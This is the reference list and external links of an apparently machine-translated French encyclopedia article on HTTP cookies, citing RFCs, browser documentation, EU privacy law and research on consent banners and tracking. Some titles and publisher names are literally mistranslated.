53. ^ “Mécanisme de gestion d’état HTTP, l’attribut de chemin” . IETF . Mars 2014. Archivé de l’original le 1er mai 2011 . Récupéré le 12 mai 2011 .
54. ^ “RFC 6265, mécanisme de gestion d’état HTTP, correspondance de domaine” . IETF . Mars 2014. Archivé de l’original le 1er mai 2011 . Récupéré le 12 mai 2011 .
55. ^ “RFC 6265, Mécanisme de gestion d’état HTTP, L’attribut de domaine” . IETF . Mars 2014. Archivé de l’original le 1er mai 2011 . Récupéré le 12 mai 2011 .
56. ^ “Internes des cookies d’Internet Explorer (FAQ)” . 21 novembre 2018.
57. ^ “RFC 2109, mécanisme de gestion d’état HTTP, syntaxe Set-Cookie” . IETF . Mars 2014. Archivé de l’original le 13 mars 2014 . Récupéré le 4 mars 2014 .
58. ^ “RFC 6265, mécanisme de gestion d’état HTTP” . ietf.org . Archivé de l’original le 1er mai 2011 . Récupéré le 12 mai 2011 .
59. ^ “Compatibilité des spécifications des cookies dans les navigateurs modernes” . inikulin.github.io . 2016. Archivé de l’original le 2 octobre 2016 . Récupéré le 30 septembre 2016 .
60. ^ Coles, Pierre. “Cookies HTTP : Quelle est la différence entre Max-age et Expires ? – Peter Coles” . Mrcoles.com . Archivé de l’original le 29 juillet 2016 . Récupéré le 28 juillet 2016 .
61. ^ “Rapport sur les menaces de sécurité Internet de Symantec : Tendances de juillet à décembre 2007 (résumé exécutif)” (PDF) . XIII . Symantec Corp. Avril 2008 : 1–3. Archivé (PDF) de l’original le 25 juin 2008 . Récupéré le 11 mai 2008 . {{cite journal}}: Cite journal requires |journal= (help)
62. ^ Whalen, David (8 juin 2002). “La FAQ non officielle sur les cookies v2.6” . Centrale des cookies. Archivé de l’original le 26 août 2011 . Récupéré le 4 janvier 2009 .
63. ^ “Comment gérer les cookies dans Internet Explorer 6” . Microsoft. 18 décembre 2007. Archivé de l’original le 28 décembre 2008 . Récupéré le 4 janvier 2009 .
64. ^ “Effacer les données privées” . Assistance Firefox Base de connaissances . Mozilla. 16 septembre 2008. Archivé de l’original le 3 janvier 2009 . Récupéré le 4 janvier 2009 .
65. ^ “Effacer les informations personnelles : Effacer les données de navigation” . Aide Google Chrome . Archivé de l’original le 11 mars 2009 . Récupéré le 4 janvier 2009 .
66. ^ “Effacer les informations personnelles : supprimer les cookies” . Aide Google Chrome . Archivé de l’original le 11 mars 2009 . Récupéré le 4 janvier 2009 .
67. ^ “Site Compatibility for Firefox 22” , Mozilla Developer Network , 11 avril 2013, archivé de l’original le 27 mai 2013 , récupéré le 11 avril 2013
68. ^ Miyazaki, Anthony D. (2008), “Confidentialité en ligne et divulgation de l’utilisation des cookies : effets sur la confiance des consommateurs et le mécénat anticipé”, Journal of Public Policy & Marketing, 23 (printemps), 19–33
69. ^ “L’agence d’espionnage supprime les fichiers de suivi illégaux” . New York Times . 29 décembre 2005. Archivé de l’original le 26 août 2011 . Récupéré le 19 février 2017 .
70. ^ “Directive européenne sur les cookies, directive 2009/136/CE” . Informations juridiques JISC. Archivé de l’original le 18 décembre 2012 . Récupéré le 31 octobre 2012 .
71. ^ ^{un règlement b} sur la confidentialité et les communications électroniques . Bureau du commissaire à l’information. 2012. Archivé de l’original le 30 octobre 2012 . Récupéré le 31 octobre 2012 .
72. ^ “Cookies et technologies similaires” . ico.org.uk . 1er janvier 2021 . Récupéré le 6 juin 2021 .
73. ^ ^{un b} “EUR-Lex – 62017CN0673 – EN – EUR-Lex” . eur-lex.europa.eu . Récupéré le 6 juin 2021 .
74. ^ ^{un b} Veale, Michael; Zuiderveen Borgesius, Frederik (1er avril 2021). “Adtech et enchères en temps réel dans le cadre de la législation européenne sur la protection des données” . doi : 10.31235/osf.io/wg8fq . S2CID 243311598 . {{cite journal}}: Cite journal requires |journal= (help)
75. ^ Zuiderveen Borgesius, Frederik J. (août 2015). “Traitement de données personnelles à des fins de ciblage comportemental : quelle base juridique ?” . Loi internationale sur la confidentialité des données . 5 (3): 163–176. doi : 10.1093/idpl/ipv011 . ISSN 2044-3994 .
76. ^ ^{un bcd Nouwens , Midas} ; Liccardi, Ilaria; Veale, Michael ; Karger, David; Kagal, Lalana (21 avril 2020). “Dark Patterns after the GDPR : Scraping Consent Pop-ups and Demonstrating their Influence” . Actes de la conférence CHI 2020 sur les facteurs humains dans les systèmes informatiques . Chi’20. Honolulu HI États-Unis : ACM : 1–13. arXiv : 2001.02479 . doi : 10.1145/3313831.3376321 . hdl : 1721.1/129999 . ISBN 978-1-4503-6708-0. S2CID 210064317 .
77. ^ ^{un b} “EUR-Lex – 32016R0679 – EN – EUR-Lex” . eur-lex.europa.eu . Récupéré le 6 juin 2021 .
78. ^ ^{un b} Bureau du commissaire à l’information (2019). Rapport de mise à jour sur Adtech et les enchères en temps réel (PDF) .
79. ^ www.legifrance.gouv.fr https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038783337 . Récupéré le 6 juin 2021 . {{cite web}}: Manquant ou vide |title=( aide )
80. ^ “EUR-Lex – 62017CC0040 – FR – EUR-Lex” . eur-lex.europa.eu . Récupéré le 6 juin 2021 .
81. ^ “Législation européenne sur les cookies : arrêtez de pleurnicher et continuez” . Royaume- Uni filaire . 24 mai 2012. Archivé de l’original le 15 novembre 2012 . Récupéré le 31 octobre 2012 .
82. ^ Kampanos, Georgios; Shahandashti, Siamak F. (2021). “Accepter tout : le paysage des bannières de cookies en Grèce et au Royaume-Uni”. Sécurité des systèmes TIC et protection de la vie privée . Cham : Springer International Publishing. p. 213–227. arXiv : 2104.05750 . doi : 10.1007/978-3-030-78120-0_14 . ISBN 978-3-030-78119-4. ISSN 1868-4238 . S2CID 233219491 .
83. ^ Santos, Cristiana; Nouwens, Midas; Toth, Michel ; Bielova, Natalia ; Roca, Vincent (2021), Gruschka, Nils; Antunes, Luís Filipe Coelho; Rannenberg, Kai; Drogkaris, Prokopios (eds.), « Plateformes de gestion du consentement dans le cadre du RGPD : processeurs et/ou contrôleurs ? » , Technologies et politique de confidentialité , Cham : Springer International Publishing, vol. 12703, pp. 47–69, arXiv : 2104.06861 , doi : 10.1007/978-3-030-76663-4_3 , ISBN 978-3-030-76662-7, S2CID 233231428 , récupéré le 6 juin 2021
84. ^ “P3P : La plate-forme pour les préférences de confidentialité” . www.w3.org . Récupéré le 15 octobre 2021 .
85. ^ Zuiderveen Borgesius, FJ; Kruikemeier, S.; C Boerman, S.; Helberger, N. (2017). “Murs de suivi, choix à prendre ou à laisser, le RGPD et le règlement ePrivacy” . Revue de la législation européenne sur la protection des données . 3 (3): 353–368. doi : 10.21552/edpl/2017/3/9 . hdl : 11245.1/dfb59b54-0544-4c65-815a-640eae10668a .
86. ^ “Lignes directrices 05/2020 sur le consentement en vertu du règlement 2016/679 | Comité européen de la protection des données” . edpb.europa.eu . Récupéré le 6 juin 2021 .
87. ^ “Une échappatoire assez grande pour qu’un cookie passe à travers” . Bits . Le New York Times. 17 septembre 2010. Archivé de l’original le 26 janvier 2013 . Récupéré le 31 janvier 2013 .
88. ^ Pegoraro, Rob (17 juillet 2005). “Comment bloquer les cookies de suivi” . Poste de Washington . p. F07. Archivé de l’original le 27 avril 2011 . Récupéré le 4 janvier 2009 .
89. ^ Francisco, Thomas Claburn à San. “Qu’est-ce que le CNAME de votre jeu ? Ce suivi basé sur DNS défie les défenses de confidentialité de votre navigateur” . www.theregister.com . Récupéré le 6 juin 2021 .
90. ^ Dimova, Yana; Acar, Gunès ; Olejnik, Lukasz; Joosen, Wouter; Van Goethem, Tom (5 mars 2021). “Le CNAME du jeu : analyse à grande échelle de l’évasion de suivi basée sur le DNS”. arXiv : 2102.09301 [ cs.CR ].
91. ^ Wired Hack obtient 9 faux certificats pour des sites Web importants archivés le 26/03/2014 sur la Wayback Machine
92. ^ ^{un bc Finkle} , Jim (25 mai 2011). “Dernier risque de sécurité de Microsoft : “Cookiejacking” ” . Reuters . Archivé de l’original le 30 mai 2011 . Récupéré le 26 mai 2011 .
93. ^ Whitney, Lance (26 mai 2011). “Un chercheur en sécurité découvre un risque de “cookiejacking” dans IE” . CNET . Archivé de l’original le 14 juin 2011 . Récupéré le 6 septembre 2019 .
94. ^ Fielding, Roy (2000). “Fieling Dissertation: CHAPITRE 6: Expérience et évaluation” . Archivé de l’original le 27 avril 2011 . Récupéré le 14 octobre 2010 .
95. ^ Tilkov, Stefan (2 juillet 2008). “Anti-modèles REST” . InfoQ. Archivé de l’original le 23 décembre 2008 . Récupéré le 4 janvier 2009 .
96. ^ Hoffmann, Chris. “Qu’est-ce qu’un cookie de navigateur ?” . Comment Geek . Récupéré le 3 avril 2021 .
97. ^ “Le cookie est mort. Voici comment Facebook, Google et Apple vous suivent maintenant, VentureBeat, Mobile, par Richard Byrne Reilly” . VentureBeat . 6 octobre 2014. Archivé de l’original le 24 juillet 2017 . Récupéré le 31 août 2017 .
98. ^ “Window.sessionStorage, API Web | MDN” . développeur.mozilla.org . Archivé de l’original le 28 septembre 2015 . Récupéré le 2 octobre 2015 .
99. ^ “Introduction à la Persistance” . microsoft.com . Microsoft. Archivé de l’original le 11 janvier 2015 . Récupéré le 9 octobre 2014 .
100. ^ “Stockage isolé” . Microsoft.com . Archivé de l’original le 16 décembre 2014 . Récupéré le 9 octobre 2014 .
101. ^ “Navigateur Espion” . gemal.dk. Archivé de l’original le 26 septembre 2008 . Récupéré le 28 janvier 2010 .
102. ^ “IE “comportements par défaut [sic]” tests de divulgation des informations du navigateur : clientCaps” . Mapage.direct.ca. Archivé de l’original le 5 juin 2011 . Récupéré le 28 janvier 2010 .
103. ^ Eckersley, Peter (17 mai 2010). “Dans quelle mesure votre navigateur Web est-il unique ?” (PDF) . eff.org . Fondation Frontière électronique. Archivé de l’original (PDF) le 15 octobre 2014 . Récupéré le 23 juillet 2014 .

Sources

• Anonyme, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek – En ligne, pp. Informationweek – En ligne, 26 mai 2011.

Liens externes

Écoutez cet article ( 1 heure et 1 minute ) 1:00:31 Ce fichier audio a été créé à partir d’une révision de cet article datée du 28 mai 2016 et ne reflète pas les modifications ultérieures. (2016-05-28) ( Aide audio · Plus d’articles parlés )

Wikimedia Commons a des médias liés aux cookies HTTP .

• RFC 6265 , la spécification officielle actuelle pour les cookies HTTP
• Cookies HTTP , Réseau de développeurs Mozilla
• Utilisation de cookies via ECMAScript , Mozilla Developer Network
• Comment fonctionnent les cookies Internet chez HowStuffWorks
• Cookies au Centre d’information sur la confidentialité électronique (EPIC)
• Base de connaissances de Mozilla : Cookies
• Cookie Domain, expliquez en détail comment les domaines de cookies sont gérés dans les principaux navigateurs actuels
• Vol de biscuits – Michael Pound
• Vérifier la conformité des cookies avec la directive européenne sur les cookies